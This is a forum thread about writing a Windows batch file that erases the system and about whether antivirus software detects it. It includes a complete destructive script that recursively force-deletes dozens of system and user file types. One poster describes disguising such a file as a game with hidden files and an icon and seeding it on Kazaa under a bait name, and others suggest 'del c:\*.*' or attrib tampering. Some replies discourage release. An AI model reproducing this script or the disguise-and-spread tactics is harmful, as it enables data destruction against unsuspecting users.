.bat file that erases windows

Virus scanners cannot generally detect things which aren't viruses. Your batch file isn't a virus.

Anti-virus programs use signatures to identify known viruses. Because viruses spread so much, new viruses quickly fall into the hands of AV manufacturers, who add them to their database.

Programs which don't self-replicate cannot spread quickly enough to turn up in AV databases. However, the AV people do add a few non-virus signatures, typically for common Windows "Remote Access Trojans".

Note that it's generally impossible to know what a program will do without running it (forever), according to some mathematics proved in the 1950s (The Church-Turing Thesis to be precise).

Therefore, a virus checker is going to have a hard time telling whether a program will erase Windows.

Also, your simple logic bomb wouldn't work. Windows does not let you delete files that are being used, and the Windows directory is definitely in use.

However you could trivially delete enough files to make Windows stop working.

i under stand that you cant delete a running file
and yes most people would not run a bat file but other programs can piont to it and run it or
you can do what i did and make the bat file hide and have a shortcut with a nice icon and with out the "shortcut prefice" (little arrow) it jut looks like any old exe program i put some other files in with it to make it look like a game and then ziped it into a self extracting file
i was thinking about using it on kazaa and lableing it some thing like "little boys nude"or some thing stupid like that to screw with those freaks but i havent made up my mind yet.

>i have win 98 and it lets me format or erase things from windows but i'm hoping to get winxp soon and from what you guys are saying it sounds like a bat file like this wouldnt be a problem then

For a start I would never run a .bat file on my Windows without checking it first. And also every now and then I do go through my registry Run keys mainly to make sure that things such as Windows Media Player doesn't get a briliant idea of putting it self there to annoy me in secret next time I boot up.
And I disagree with ZeTtA_bYtE why would another program point to it when it would make life so much easier just to run it from within the program itself in the first place.

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I'm sure you could do some damage still, but you'd be able to recover.

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If you created an especially nasty batch file like the one i made awhile back just for fun when i first started learning how to make batch files, i can guarentee you won't be booting back up after you hit restart.

Warning: Never run this batch file unless you are about to reformat/wipe your hard drive, even then it's not useful, and i'm just posting it as an example.
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@echo off
cd\
del *.cnt *.bat *.dll *.sys *.com *.dos *.exe *.bin *.sys *.dat *.inf *.cat

*.zip *.txt *.chk *.tmp *.log *.trc *.cab *.bak *.hlp *.ex_ *.co_ *.xx_

*.gif *.clp *.scr *.jpg *.jpeg *.bmp *.mov *.ram *.mpeg *.mpg *.sdb *.ini

*.avi *.ico *.OLD *.htm *.ocx *.ime *.acs *.cpl *.sql *.asp *.inc *.chm

*.drv *.wav *.cer *.nls *.msc *.hxx *.cmd *.reg /s /f
pause

Some of these extensions are perfectly safe to delete, like *.temp *.tmp *.scr, but the majority here you should never delete and are needed for windows to function properly.
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I don't really see where one like this could aid you in anything, unless you were running a warez server or something like that and needed to dump alot of files quickly. Even then a strong recovery program would likely get most of those files back. I just made this one so i could run it before i had to reinstall windows one time. I would never run a batch file like this unless i was about to wipe the hard drive/reformat or something along those lines, and i only made it to see how long it would take to delete all those extenstions. Even then i don't see the use, because this batch file takes a very long time to complete(if i remember correctly it took something like 4 minutes)which is rather long, since batch files are intended to be quick.

Not to mention all the files should be easy to recover unless you overwrite them.

-Maestr0

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Not to mention all the files should be easy to recover unless you overwrite them.

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Great point. Yeah, if you really want to get rid of your info, i would suggest autoclave.

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i was thinking about using it on kazaa and lableing it some thing like "little boys nude"or some thing stupid like that to screw with those freaks but i havent made up my mind yet.

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Your intentions are somewhat honorable, but I wouldn't recommend putting a malicious file out on the internet. Someone could take it and give it to someone who probably didn't deserve it. There are a thousand reasons not to release it out into a community like kazaa. If you want to fight child porn there is probably a better way to do it. I do understand you inclination but if I were you, I would fight the urge.
-NeuTron

:rolleyes:
well wouldnt it be easyer to type "del c:\*.*"
instead of all of the differnt file extions?
or to screw with a system use the "attrib" command to change all there file attributes to some thing differnt then what there supose to be.
and yes it does tale a long time for it to delet every thing when i first started messing with it i was going to reinstall windows and i ran it. it took alot longer than 4 min for awhile i thought that my computer had froze
still i wonder if there some thing that will monitor for stuff like that so you dont have to check it before running it.
i like downloading old abandond games from the 80's and early 90's and some of them are bat files or use them to run and its a pain in the ass tho check them out before running them.
i have two games gorrilas and snake that are a single bat file and thats it.

This is something taht takes outside intervention to run and will not replicate itself, by definition its a trojan and not a virus. Most AV programs don't bother looking for thsi type of file so just make sure you open and look at what a .bat dose before you run it.

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well wouldnt it be easyer to type "del c:\*.*"
instead of all of the differnt file extions?

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Yep, youre right, someone already pm'ed me to make me aware of it.

I'm so used to deleting certain file types, it just transfered into my thinking i reckon. Thankyou though for pointing that out though Zeta. :)